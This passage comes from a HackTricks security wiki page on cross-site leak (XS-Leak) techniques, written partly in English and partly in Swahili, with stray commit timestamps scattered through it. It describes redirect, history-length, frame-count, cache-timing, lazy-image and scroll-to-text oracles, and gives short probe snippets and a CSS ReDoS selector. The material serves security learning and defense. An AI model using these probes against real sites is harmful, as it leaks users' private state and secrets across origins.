> In general, the _web platform_ does not have limits on the length of URLs (although 2^31 is a common limit). _Chrome_ limits URLs to a maximum length of **2MB** for practical reasons and to avoid causing denial-of-service problems in inter-process communication.
Therefore if the **redirect URL responded is larger in one of the cases**, it's possible to make it redirect with a **URL larger than 2MB** to hit the **length limit**. When this happens, Chrome shows an **`about:blank#blocked`** page.
2023-03-05 22:20:47 +00:00
The **noticeable difference**, is that if the **redirect** was **completed**, `window.origin` throws an **error** because a cross origin cannot access that info. However, if the **limit** was \*\*\*\* hit and the loaded page was **`about:blank#blocked`** the window's **`origin`** remains that of the **parent**, which is an **accessible information.**
All the extra info needed to reach the **2MB** can be added via a **hash** in the initial URL so it will be **used in the redirect**.
{% content-ref url="xs-search/url-max-length-client-side.md" %}
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
{% endcontent-ref %}
2023-03-05 22:20:47 +00:00
### Max Redirects
* **Inclusion Methods**: Fetch API, Frames
* **Detectable Difference**: Status Code
* **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **Summary:** Tumia kikomo cha kuelekeza cha kivinjari ili kubaini kutokea kwa kuelekeza URL.
* **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
2023-03-05 22:20:47 +00:00
If the **max** number of **redirects** to follow of a browser is **20**, an attacker could try to load his page with **19 redirects** and finally **send the victim** to the tested page. If an **error** is triggered, then the page was trying to **redirect the victim**.
2022-06-27 23:34:20 +00:00
### History Length
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Redirects
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **Summary:** JavaScript code manipulates the browser history and can be accessed by the length property.
* **Code Example**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
2022-06-27 23:34:20 +00:00
The **History API** allows JavaScript code to manipulate the browser history, which **saves the pages visited by a user**. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation.\
**Checking `history.length`**, making a user **navigate** to a page, **change** it **back** to the same-origin and **checking** the new value of **`history.length`**.
2022-08-08 23:51:39 +00:00
### History Length with same URL
2022-08-08 23:51:39 +00:00
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: If URL is the same as the guessed one
* **Summary:** Inawezekana kudhani ikiwa eneo la fremu/popup liko katika URL maalum kwa kutumia urefu wa historia.
* **Code Example**: Below
2022-08-08 23:51:39 +00:00
An attacker could use JavaScript code to **manipulate the frame/pop-up location to a guessed one** and **immediately** **change it to `about:blank`**. If the history length increased it means the URL was correct and it had time to **increase because the URL isn't reloaded if it's the same**. If it didn't increased it means it **tried to load the guessed URL** but because we **immediately after** loaded **`about:blank`**, the **history length did never increase** when loading the guessed url.
2022-08-08 23:51:39 +00:00
```javascript
async function debug(win, url) {
2024-02-11 02:13:58 +00:00
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
2022-08-08 23:51:39 +00:00
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### Frame Counting
2022-08-08 23:51:39 +00:00
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Summary:** Tathmini idadi ya vipengele vya iframe kwa kukagua mali ya `window.length`.
* **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
2022-06-27 23:34:20 +00:00
Kuhesabu **idadi ya frames katika wavuti** iliyofunguliwa kupitia `iframe` au `window.open` kunaweza kusaidia kubaini **hali ya mtumiaji juu ya ukurasa huo**.\
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kuangalia **kila wakati** idadi ya frames kunaweza kusaidia kubaini **mwelekeo** ambao unaweza kuvuja taarifa.
2022-06-27 23:34:20 +00:00
Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kubainishwa** kwa **kuhesabu frames** kwa sababu `embed` inatumika ndani. Kuna [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) ambazo zinatoa udhibiti fulani juu ya maudhui kama vile `zoom`, `view`, `page`, `toolbar` ambapo mbinu hii inaweza kuwa ya kuvutia.
2022-06-28 15:48:43 +00:00
2022-06-28 12:20:37 +00:00
### HTMLElements
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Summary:** Soma thamani iliyovuja ili kutofautisha kati ya hali 2 zinazowezekana
* **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
2024-02-06 03:10:38 +00:00
Uvujaji wa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za vyombo vya habari zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha ukubwa wa vyombo vya habari. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.
2022-06-28 12:20:37 +00:00
### Information Exposed by HTML Elements
2022-06-28 12:20:37 +00:00
* **HTMLMediaElement**: Kipengele hiki kinaonyesha `duration` na `buffered` za vyombo vya habari, ambazo zinaweza kufikiwa kupitia API yake. [Soma zaidi kuhusu HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: Inafichua `videoHeight` na `videoWidth`. Katika baadhi ya vivinjari, mali za ziada kama `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, na `webkitDecodedFrameCount` zinapatikana, zikitoa taarifa zaidi kuhusu maudhui ya vyombo vya habari. [Soma zaidi kuhusu HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: Kazi hii inatoa maelezo kuhusu ubora wa upigaji video, ikiwa ni pamoja na `totalVideoFrames`, ambayo inaweza kuonyesha kiasi cha data ya video iliyop processed. [Soma zaidi kuhusu getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: Kipengele hiki kinavuja `height` na `width` ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudisha 0, na kazi ya `image.decode()` itakataliwa, ikionyesha kushindwa kwa kupakia picha ipasavyo. [Soma zaidi kuhusu HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
2022-06-28 12:20:37 +00:00
### CSS Property
2022-06-28 12:20:37 +00:00
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Summary:** Tambua tofauti katika mtindo wa wavuti zinazohusiana na hali au hadhi ya mtumiaji.
* **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
2022-06-28 12:20:37 +00:00
Programu za wavuti zinaweza kubadilisha mtindo wa **wavuti kulingana na hali ya mtumiaji**. Faili za CSS za kuvuka mipaka zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia **kipengele cha HTML link**, na **kanuni** zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa hubadilisha kanuni hizi kwa njia ya kidinamik, mshambuliaji anaweza **kubaini** **tofauti** hizi kulingana na hali ya mtumiaji.\
Kama mbinu ya uvujaji, mshambuliaji anaweza kutumia njia ya `window.getComputedStyle` kusoma mali za CSS za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS zisizo na mipaka ikiwa kipengele kilichohusika na jina la mali kinajulikana.
2022-06-28 15:48:43 +00:00
### CSS History
2022-06-28 15:48:43 +00:00
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Summary:** Tambua ikiwa mtindo `:visited` umetumika kwa URL ikionyesha kuwa tayari imetembelewa
* **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
{% hint style="info" %}
Kulingana na [**hii**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), hii haifanyi kazi katika Chrome isiyo na kichwa.
{% endhint %}
Mchoro wa CSS `:visited` unatumika kubadilisha mtindo wa URL tofauti ikiwa tayari imetembelewa na mtumiaji. Katika siku za nyuma, njia ya `getComputedStyle()` inaweza kutumika kubaini tofauti hizi za mtindo. Hata hivyo, vivinjari vya kisasa vimeanzisha hatua za usalama ili kuzuia njia hii kufichua hali ya kiungo. Hatua hizi ni pamoja na kurudisha kila wakati mtindo uliohesabiwa kana kwamba kiungo kimekuwa kimekamilika na kuzuia mitindo inayoweza kutumika na mchoro `:visited`.
Licha ya vizuizi hivi, inawezekana kubaini hali iliyotembelewa ya kiungo kwa njia isiyo ya moja kwa moja. Mbinu moja inahusisha kumdanganya mtumiaji kuingiliana na eneo lililoathiriwa na CSS, hasa kwa kutumia mali ya `mix-blend-mode`. Mali hii inaruhusu kuchanganya vipengele na mandharinyuma yao, ikionyesha hali iliyotembelewa kulingana na mwingiliano wa mtumiaji.
Zaidi ya hayo, kubaini kunaweza kufanywa bila mwingiliano wa mtumiaji kwa kutumia nyakati za uwasilishaji wa viungo. Kwa kuwa vivinjari vinaweza kuwasilisha viungo vilivyotembelewa na visivyotembelewa kwa njia tofauti, hii inaweza kuleta tofauti ya wakati inayoweza kupimwa katika uwasilishaji. Ushahidi wa dhana (PoC) ulitajwa katika ripoti ya hitilafu ya Chromium, ikionyesha mbinu hii kwa kutumia viungo vingi ili kuongeza tofauti ya wakati, hivyo kufanya hali iliyotembelewa iweze kubainika kupitia uchambuzi wa wakati.
Kwa maelezo zaidi kuhusu mali hizi na mbinu, tembelea kurasa zao za hati:
* `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
2024-02-06 03:10:38 +00:00
### ContentDocument X-Frame Leak
2024-02-06 03:10:38 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Headers
* **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Summary:** Katika Google Chrome, ukurasa maalum wa makosa unaonyeshwa wakati ukurasa umezuiwa kuingizwa kwenye tovuti ya kuvuka mipaka kutokana na vizuizi vya X-Frame-Options.
* **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
2024-02-06 03:10:38 +00:00
Katika Chrome, ikiwa ukurasa wenye kichwa cha `X-Frame-Options` kimewekwa kuwa "deny" au "same-origin" umeingizwa kama kitu, ukurasa wa makosa unaonekana. Chrome inarudisha kipekee kitu cha hati tupu (badala ya `null`) kwa mali ya `contentDocument` ya kitu hiki, tofauti na katika iframes au vivinjari vingine. Washambuliaji wanaweza kutumia hii kwa kubaini hati tupu, ambayo inaweza kufichua taarifa kuhusu hali ya mtumiaji, hasa ikiwa waendelezaji wanaweka kichwa cha X-Frame-Options kwa kutokuweka sawa, mara nyingi wakisahau kurasa za makosa. Ufahamu na matumizi ya mara kwa mara ya vichwa vya usalama ni muhimu kwa kuzuia uvujaji kama huu.
2022-06-28 15:48:43 +00:00
### Download Detection
2022-06-28 12:20:37 +00:00
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Summary:** Mshambuliaji anaweza kubaini upakuaji wa faili kwa kutumia iframes; upatikanaji wa kuendelea wa iframe unaashiria upakuaji wa faili uliofanikiwa.
* **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
2022-06-28 12:20:37 +00:00
Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinaelekeza kivinjari kupakua maudhui badala ya kuyonyesha ndani. Tabia hii inaweza kutumiwa kubaini ikiwa mtumiaji ana ufikiaji wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vya msingi vya Chromium, kuna mbinu chache za kubaini tabia hii ya upakuaji:
2022-06-28 12:20:37 +00:00
1. **Ufuatiliaji wa Upakuaji Bar**:
* Wakati faili inapopakuliwa katika vivinjari vya msingi vya Chromium, upakuaji bar inaonekana chini ya dirisha la kivinjari.
* Kwa kufuatilia mabadiliko katika urefu wa dirisha, washambuliaji wanaweza kudhani kuonekana kwa upakuaji bar, ikionyesha kuwa upakuaji umeanzishwa.
2. **Upakuaji wa Navigesheni kwa Iframes**:
* Wakati ukurasa unaposababisha upakuaji wa faili kwa kutumia kichwa cha `Content-Disposition: attachment`, haileti tukio la navigesheni.
* Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigesheni, inawezekana kuangalia ikiwa usambazaji wa maudhui unasababisha upakuaji wa faili (hakuna navigesheni) au la.
3. **Upakuaji wa Navigesheni bila Iframes**:
* Kama mbinu ya iframe, njia hii inahusisha kutumia `window.open` badala ya iframe.
* Kufuatilia matukio ya navigesheni katika dirisha lililofunguliwa jipya kunaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa ndani (navigesheni inatokea).
2022-06-28 12:20:37 +00:00
Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama huu, mbinu hizi zinaweza kutumika kubaini hali ya uthibitisho wa mtumiaji kwa msingi wa majibu ya kivinjari kwa ombi la upakuaji.
2022-06-28 12:20:37 +00:00
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Summary:** Mshambuliaji anaweza kubaini upakuaji wa faili kwa kutumia iframes; upatikanaji wa kuendelea wa iframe unaashiria upakuaji wa faili uliofanikiwa.
* **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (kutoka [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
2022-07-03 09:52:15 +00:00
{% hint style="warning" %}
Hii ndiyo sababu mbinu hii ni ya kuvutia: Chrome sasa ina **cache partitioning**, na funguo ya cache ya ukurasa uliofunguliwa mpya ni: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, lakini ikiwa nitafungua ukurasa wa ngrok na kutumia fetch ndani yake, funguo ya cache itakuwa: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, funguo ya **cache ni tofauti**, hivyo cache haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Comment kutoka [**hapa**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
2022-07-03 09:52:15 +00:00
{% endhint %}
2022-06-27 16:53:32 +00:00
Ikiwa tovuti `example.com` inajumuisha rasilimali kutoka `*.example.com/resource` basi rasilimali hiyo itakuwa na **funguo sawa ya caching** kama rasilimali ilivyoombwa moja kwa moja **kupitia navigesheni ya ngazi ya juu**. Hiyo ni kwa sababu funguo ya caching inajumuisha ngazi ya juu _eTLD+1_ na frame _eTLD+1_.
Kwa sababu ufikiaji wa cache ni wa haraka kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kuifuta 20ms (kwa mfano) baada ya hapo. Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kuwa rasilimali ilihifadhiwa.\
Au inaweza tu **kutuma baadhi ya fetch kwa ukurasa unaoweza kuhifadhiwa na kupima muda inachukua**.
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Redirects
* **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **Summary:** Inawezekana kubaini ikiwa jibu la ombi la fetch ni uelekeo
* **Code Example**:
2022-06-28 17:21:21 +00:00
![](<../.gitbook/assets/image (652).png>)
2022-06-27 16:53:32 +00:00
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Summary:** Inawezekana kujaribu kupakia rasilimali na kabla ya kupakiwa, upakiaji unakatishwa. Kulingana na ikiwa kosa linatokea, rasilimali ilikuwa au haikuwa imehifadhiwa.
* **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Tumia _**fetch**_ na _**setTimeout**_ na **AbortController** kugundua ikiwa **rasilimali imehifadhiwa** na kuondoa rasilimali maalum kutoka kwenye cache ya kivinjari. Zaidi ya hayo, mchakato huu unafanyika bila kuhifadhi maudhui mapya.
### Script Pollution
2022-06-27 16:53:32 +00:00
* **Inclusion Methods**: HTML Elements (script)
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Summary:** Inawezekana **kufuta kazi zilizojengwa ndani** na kusoma hoja zao hata kutoka **cross-origin script** (ambayo haiwezi kusomwa moja kwa moja), hii inaweza **kuvuja taarifa muhimu**.
* **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
2022-06-27 16:53:32 +00:00
### Service Workers <a href="#service-workers" id="service-workers"></a>
2022-06-27 16:53:32 +00:00
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia wafanyakazi wa huduma.
* **Code Example**:
2022-06-27 16:53:32 +00:00
Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha **mshauri wa huduma** ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kuagiza **mshauri wa huduma** kuanzisha kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anahamisha rejeleo lililopatikana katika hatua ya awali kwenye ukurasa unaosimamiwa na **mshauri wa huduma**.
2022-06-27 16:53:32 +00:00
Pale ombi lililoanzishwa katika hatua ya awali linapofika, **mshauri wa huduma** unajibu kwa msimbo wa hali **204 (No Content)**, kwa ufanisi ukimaliza mchakato wa navigesheni. Wakati huu, **mshauri wa huduma** anachukua kipimo kutoka kwa kipima muda kilichoanzishwa mapema katika hatua ya pili. Kipimo hiki kinategemea muda wa JavaScript unaosababisha ucheleweshaji katika mchakato wa navigesheni.
2022-06-27 16:53:32 +00:00
2022-06-28 15:48:43 +00:00
{% hint style="warning" %}
Katika wakati wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
2022-06-27 23:34:20 +00:00
{% endhint %}
### Fetch Timing
2022-06-27 16:53:32 +00:00
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing (kwa ujumla kutokana na Maudhui ya Ukurasa, Msimbo wa Hali)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Summary:** Tumia [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) kupima muda inachukua kufanya ombi. Saa nyingine zinaweza kutumika.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
2022-06-27 16:53:32 +00:00
### Cross-Window Timing
2022-06-27 16:53:32 +00:00
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Timing (kwa ujumla kutokana na Maudhui ya Ukurasa, Msimbo wa Hali)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Summary:** Tumia [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) kupima muda inachukua kufanya ombi kwa kutumia `window.open`. Saa nyingine zinaweza kutumika.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
2022-06-27 16:53:32 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kujiendesha** kazi kwa urahisi kwa kutumia zana za jamii zenye **maendeleo zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## With HTML or Re Injection
2022-06-27 16:53:32 +00:00
Hapa unaweza kupata mbinu za kutolewa taarifa kutoka kwa HTML ya kuvuka mipaka **kuingiza maudhui ya HTML**. Mbinu hizi ni za kuvutia katika hali ambapo kwa sababu yoyote unaweza **kuingiza HTML lakini huwezi kuingiza msimbo wa JS**.
2022-06-27 16:53:32 +00:00
### Dangling Markup
{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
2022-06-27 23:34:20 +00:00
{% endcontent-ref %}
### Image Lazy Loading
Ikiwa unahitaji **kuondoa maudhui** na unaweza **kuongeza HTML kabla ya siri** unapaswa kuangalia **mbinu za kawaida za dangling markup**.\
Hata hivyo, ikiwa kwa sababu yoyote unapaswa kufanya hivyo **karakteri kwa karakteri** (labda mawasiliano ni kupitia hit ya cache) unaweza kutumia hila hii.
**Picha** katika HTML ina sifa ya "**loading**" ambayo thamani yake inaweza kuwa "**lazy**". Katika kesi hiyo, picha itapakiwa wakati inapoonekana na si wakati ukurasa unapoendelea kupakia:
2022-06-27 23:34:20 +00:00
```html
<img src=/something loading=lazy >
```
Kwa hivyo, kile unachoweza kufanya ni **kuongeza herufi nyingi za takataka** (Kwa mfano **maelfu ya "W"s**) ili **kujaza ukurasa wa wavuti kabla ya siri au kuongeza kitu kama** `<br><canvas height="1850px"></canvas><br>.`\
Kisha ikiwa kwa mfano **kuingiza kwetu kunaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + takataka it **azuie kupakiwa** (utahitaji kucheza na kiasi cha takataka unachopaswa kuweka). Hii ndiyo ilitokea katika [**hii andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Chaguo lingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa:
#### Scroll-to-text-fragment
Hata hivyo, unafanya **bot kuingia kwenye ukurasa** na kitu kama
```
2022-06-27 23:34:20 +00:00
#:~:text=SECR
```
Hivyo ukurasa wa wavuti utakuwa kama: **`https://victim.com/post.html#:~:text=SECR`**
Ambapo post.html ina wahusika wa junk wa mshambuliaji na picha ya kupakia polepole na kisha siri ya roboti inaongezwa.
Kile hiki kitatenda ni kumfanya roboti kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ili **kuondoa siri hiyo kwa wahusika mmoja mmoja**.
Mfano wa msimbo wa kutumia hii: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Picha Kupakia Polepole Kulingana na Wakati
Ikiwa **haiwezekani kupakia picha ya nje** ambayo inaweza kumwonyesha mshambuliaji kwamba picha imepakiwa, chaguo jingine litakuwa kujaribu **kukisia wahusika mara kadhaa na kupima hiyo**. Ikiwa picha imepakiwa, maombi yote yatakuwa na muda mrefu zaidi kuliko ikiwa picha haijapakiwa. Hii ndiyo iliyotumika katika [**ufumbuzi wa andiko hili**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **iliyofupishwa hapa:**
2022-10-12 19:31:39 +00:00
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
2022-06-28 15:48:43 +00:00
### ReDoS
2022-06-28 15:48:43 +00:00
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
2022-06-27 23:34:20 +00:00
{% endcontent-ref %}
2022-06-28 15:48:43 +00:00
### CSS ReDoS
Ikiwa `jQuery(location.hash)` inatumika, inawezekana kugundua kupitia wakati **ikiwa maudhui fulani ya HTML yapo**, hii ni kwa sababu ikiwa mteuzi `main[id='site-main']` hauendani, haitahitaji kuangalia sehemu nyingine za **mteuzi**:
2022-06-28 15:48:43 +00:00
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### CSS Injection
2022-06-28 15:48:43 +00:00
{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
2022-06-28 15:48:43 +00:00
{% endcontent-ref %}
## Defenses
Kuna hatua za kupunguza hatari zinazopendekezwa katika [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) pia katika kila sehemu ya wiki [https://xsleaks.dev/](https://xsleaks.dev/). Angalia huko kwa maelezo zaidi kuhusu jinsi ya kujilinda dhidi ya mbinu hizi.
## References
2022-06-28 15:48:43 +00:00
* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
2022-06-27 23:34:20 +00:00
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
